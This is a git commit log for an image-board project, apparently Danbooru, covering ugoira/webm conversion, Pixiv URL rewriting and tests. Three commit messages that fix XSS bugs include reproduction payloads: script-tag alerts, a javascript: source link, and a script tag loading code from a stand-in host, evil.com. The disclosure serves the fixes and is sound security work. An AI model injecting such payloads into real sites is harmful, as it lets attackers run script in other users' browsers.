Commit Graph
4350 Commits
Author SHA1 Message Date
Toks d05311a3eb Fix error reading zip 2014-10-19 02:30:02 -07:00
Toks 4ab58e841e Fix frame data record not being expunged along with post 2014-10-19 02:30:02 -07:00
r888888888 5f063d693a fully implement ugoira js player, upgrade jquery and jquery-ui 2014-10-19 02:30:02 -07:00
r888888888 4c73fb9f79 add ugoira support in view 2014-10-19 02:30:02 -07:00
r888888888 3bb06c2be4 integrate ugoiras into zip+webm+preview 2014-10-19 02:30:02 -07:00
r888888888 0a61aac231 refactor 2014-10-19 02:30:02 -07:00
Toks 5bc0bb88cf Fix webm converter outputting non-webm videos
mkvmerge didn't realize it was supposed to output a webm specifically
because write_path does not have a file extension. The --webm option
tells it this instead.
2014-10-19 02:30:02 -07:00
r888888888 57001a7e39 minor sanitization of file extensions 2014-10-19 02:30:01 -07:00
r888888888 fb2219d4ac integrate ugoira converted into upload flow 2014-10-19 02:30:01 -07:00
r888888888 50730c6d0d implement ugoira converter 2014-10-19 02:30:01 -07:00
Toks 36be58561b Fix last frame of webms not displaying right in some browsers
Some browsers like Chrome (and some video players like MPC-HC) do not
display the last frame of a webm (or they display it, but only very
briefly) if set to loop. This commit is a hack to force the last frame
to display for the correct amount of time by duplicating it.
2014-10-19 02:30:01 -07:00
Toks 047c6a300c Various fixes to ugoira->webm converter
* Fix regex for getting frame data not working if agent is logged in to
pixiv
* Fix #unpack not returning the unpacked folder
* Fix frame_data being inaccessible because it was a local variable
* Fix images getting put in tmpdir, when they're expected to be in
tmpdir/images
* Fix deleting the tmpdir manually (it gets deleted automatically)
* Fix output webm being put in tmpdir (which gets deleted) instead of
write_path
2014-10-19 02:30:01 -07:00
r888888888 3a2c58de3f work on ugoira converter 2014-10-19 02:30:01 -07:00
Toks c082ed18ce Fix deleted posts link not being visible to basic members 2014-10-18 02:05:51 -04:00
Albert Yi b9208b9834 Merge pull request #2275 from evazion/xss/artist-history
Fix XSS in /artist_versions.
2014-10-17 14:33:59 -07:00
Albert Yi 4249f528f9 Merge pull request #2274 from evazion/xss/pool-gallery
Fix XSS in pool names in /pools/gallery page.
2014-10-17 14:33:48 -07:00
Albert Yi 6d68f1357e Merge pull request #2273 from evazion/xss/post-source
Fix XSS in source link on post show page.
2014-10-17 14:33:29 -07:00
evazion de289ee5d3 Fix XSS in /artist_versions.
1) Put `<script>alert("xss 1")</script>` in the Other Names field in an
   artist entry.
2) Put `<script>alert("xss 2")</script>` in the URLs field.
3) Trick someone into the viewing the history page for that artist.
2014-10-17 15:22:51 -05:00
evazion a38e12f091 Fix XSS in source link on post show page.
This vulnerability allows someone to create a source link that appears
to lead to Pixiv like normal, but that actually executes Javascript code
when clicked.

1) Set the source of a post to javascript:"http://img1.pixiv.net/img/xss/";alert("xss");
2) Wait for someone to click the source link in the Information sidebar.
3) Profit.

The cause is that the regexes for detecting Pixiv URLs aren't anchored
to the front of the string using \A. This allows non-http:// links to be
created.
2014-10-17 15:15:48 -05:00
evazion 22c624c356 Fix XSS in pool names in /pools/gallery page.
1) Set a pool name to '<script>alert("xss")</script>'.
2) Wait for people to view it in /pools/gallery.

At first glance the fact that the pool name is truncated to 80 chars
appears to limit how much can be done in the exploit. This poses no
problem though, since someone could inject '<script src="http://www.evil.com/evil.js"></script>' instead.
2014-10-17 13:10:54 -05:00
Albert Yi 232742e2b6 Merge pull request #2265 from evazion/misc/disable-submit-buttons
Disable comment submit button to prevent double posting.
2014-10-16 16:00:26 -07:00
Toks 1919bbf07e Update mod queue post previews for consistency with rest of site
Fixes display of borders on the previews and such. Also fix the yellow
duplicate background not always working because Post#has_dup_tag? didn't
return a boolean.
2014-10-14 13:14:36 -04:00
Toks bff823e113 Merge branch 'master' of https://github.com/r888888888/danbooru 2014-10-14 13:09:37 -04:00
Toks 4fcf382ccf Fixminor bug with displaying parent border 2014-10-14 12:48:54 -04:00
Toks 400e09a252 Merge pull request #2267 from evazion/fix/ordpool-excerpt
Show pool excerpt for ordpool:1234 searches.
2014-10-13 20:14:34 -04:00
evazion ee87fbd56f Show Pool excerpt for ordpool:1234 searches. 2014-10-13 18:15:38 -05:00
Toks ed6b08e65b Make large wiki/artist/pool title link to tag search 2014-10-13 17:44:40 -04:00
r888888888 af4810bcd0 disable account upgrades for now 2014-10-10 13:52:44 -07:00
r888888888 2d03f45a1b new version 2014-10-07 17:46:53 -07:00
r888888888 ec6b2406b6 remove artist post previews 2014-10-07 17:46:16 -07:00
evazion b56d7bdfa8 Disable comment submit button to prevent double posting. 2014-10-07 13:52:28 -05:00
Toks 4281d1a48f #2234 comment out post previews 2014-10-05 16:40:13 -04:00
Toks 3f6e03b726 Case-insensitive regex 2014-10-05 16:33:06 -04:00
Toks 2e8230f92a Merge pull request #2263 from evazion/new-pixiv-urls-fixes
Fix artist finder and URL rewriting for new Pixiv URLs
2014-10-05 16:16:04 -04:00
evazion c75d2d208e normalize_for_artist_finder!: Don't crash on bad URLs
If we can't normalize the URL (because of bad IDs, it's malformed, or
the HTML page changed), just return the unnormalized URL.
2014-10-05 14:11:32 -05:00
evazion dcbe061809 Move normalize_for_artist_finder! into model.
Move the call to normalize_for_artist_finder! from the artist
controller into Artist#find_all_by_url. This makes testing easier.
It also makes it so that URLs are normalized when using the search
form on the artist listing page.
2014-10-05 14:11:32 -05:00
evazion 7f3b98969f Refactor normalize_for_artist_finder!
Refactors things such that Sources::Site has a normalize_for_artist_finder!
method that delegates to the strategy for the appropriate site. This way
any site that needs to normalize URLs for the artist finder can do so.
2014-10-05 14:11:31 -05:00
evazion a36472f35b Add artist finding tests for new Pixiv URLs.
* Add tests for finding artists using the new Pixiv URLs in Artist#find_all_by_url.
* Add tests for the artist finder JSON API in ArtistsController#finder.
* Add tests for the artist page search form in ArtistsController#index.
2014-10-05 14:11:31 -05:00
evazion 8e2be03a6b Fix upload tests to use VCR. 2014-10-05 14:11:31 -05:00
Toks f4529e73e3 Cache seiga and nijie sessions 2014-10-05 12:11:08 -04:00
evazion f22cb52dde Regenerate VCR cassettes for new tests. 2014-10-04 12:45:37 -05:00
evazion 339e88584d Rewrite tests for downloading new Pixiv URLs.
* Test that downloading the HTML page downloads the full size image
  instead.
* Test that downloading a small or medium size image downloads the
  full size instead.
* Test the above for both single illustrations and for manga galleries,
  for new and old posts (i.e. uploaded before the Pixiv URL changes versus
  after), and for different file extensions.
* Test trying to download ugoira zip files. These tests are expected to
  fail because we don't support ugoira yet.
* Also add some more tests for fetching source data.
2014-10-04 12:45:37 -05:00
evazion 268f79c3d9 Make VCR disallow unexpected HTTP requests.
This makes it so that tests fail when they make HTTP requests they
aren't expected to. Update these tests so that they use VCR like they
should.
2014-10-04 12:45:37 -05:00
evazion ec0f226f46 Make the artist finder work with new Pixiv URLs. 2014-10-04 12:45:37 -05:00
evazion 58f0ec3dec Use the normalized source in the upload form.
This makes it so you can use the bookmarklet to upload from any of these Pixiv pages:

* http://www.pixiv.net/member_illust.php?mode=medium&illust_id=45792845
* http://www.pixiv.net/member_illust.php?mode=big&illust_id=45792845
* http://www.pixiv.net/member_illust.php?mode=manga&illust_id=45792845
* http://www.pixiv.net/member_illust.php?mode=manga_big&illust_id=45792845&page=0

and the source field in the upload form will be filled in with the
actual image URL (e.g. http://i2.pixiv.net/img18/img/ringo78/45792845_big_p0.jpg),
and it will also be used for the "This post was already uploaded" check.
2014-10-04 12:45:37 -05:00
evazion 964b5efcd3 Rewrite Pixiv small/medium images to full size images.
There are two kinds of thumbnails that need to be rewritten. First case:
new /img-master/ URLs need to be rewritten to /img-original/ URLs like this:

    http://i2.pixiv.net/c/600x600/img-master/img/2014/10/04/03/59/52/46337015_p0_master1200.jpg
    => http://i2.pixiv.net/img-original/img/2014/10/04/03/59/52/46337015_p0.png

This is what `rewrite_new_medium_images` does. In order to do this, it
has to use the Pixiv API to get the correct file extension.

Second case: Old small/medium size URLs need to be rewritten to full
size URLs like this:

    http://i2.pixiv.net/img18/img/evazion/14901720_m.png
    => http://i2.pixiv.net/img18/img/evazion/14901720.png

But when the medium size URL is actually for a manga image, it needs to be
rewritten to the big manga URL instead:

    http://i2.pixiv.net/img04/img/syounen_no_uta/46170939_m.jpg
    => http://i2.pixiv.net/img04/img/syounen_no_uta/46170939_big_p0.jpg

But we can't tell whether it's a manga image from the URL, so we have to
use the manga page count from either the HTML page or the API to
determine whether it's part of a manga gallery.

So in order to make this work, `rewrite_old_small_and_medium_images`
takes an `is_manga` flag. `Sources::Strategies::Pixiv#get` gets the
page count from the HTML and passes the `is_manga` flag on down through
the call chain until `rewrite_old_small_and_medium_images` gets it.

When `rewrite_old_small_and_medium_images` is called from
`Downloads::Strategies::Pixiv#rewrite_thumbnails`, the `is_manga` flag
isn't passed in because we didn't scrape the HTML. This causes
`rewrite_old_small_and_medium_images` to look it up in the API instead.
2014-10-04 12:45:37 -05:00
evazion daf196bd0e Rewrite old Pixiv small manga images correctly.
This prevents incorrectly rewriting these new Pixiv URLs:

* http://i1.pixiv.net/c/600x600/img-master/img/2014/09/24/23/25/08/46168376_p0_master1200.jpg
* http://i1.pixiv.net/img-original/img/2014/09/25/23/09/29/46183440_p0.jpg
2014-10-04 12:45:37 -05:00
evazion 36a78361d7 Normalize URLs to the mode=medium page correctly.
This handles a few new cases that weren't handled correctly previously.

* http://i1.pixiv.net/img-zip-ugoira/img/2014/10/03/17/29/16/46323924_ugoira1920x1080.zip
* http://i1.pixiv.net/c/600x600/img-master/img/2014/10/02/13/51/23/46304396_p0_master1200.jpg
* http://www.pixiv.net/member_illust.php?mode=manga&illust_id=18557054
* http://www.pixiv.net/member_illust.php?mode=manga_big&illust_id=18557054&page=1
* http://www.pixiv.net/i/18557054
2014-10-04 12:45:36 -05:00
evazion f889dbf10f Add get_metadata_from_spapi! 2014-10-04 12:45:36 -05:00
evazion 7f98b370ec Fix scraping the Pixiv artist username.
The artist's username is no longer contained in the image thumbnail URL on the
HTML page. Get it from the Feed link instead.
2014-10-04 12:45:36 -05:00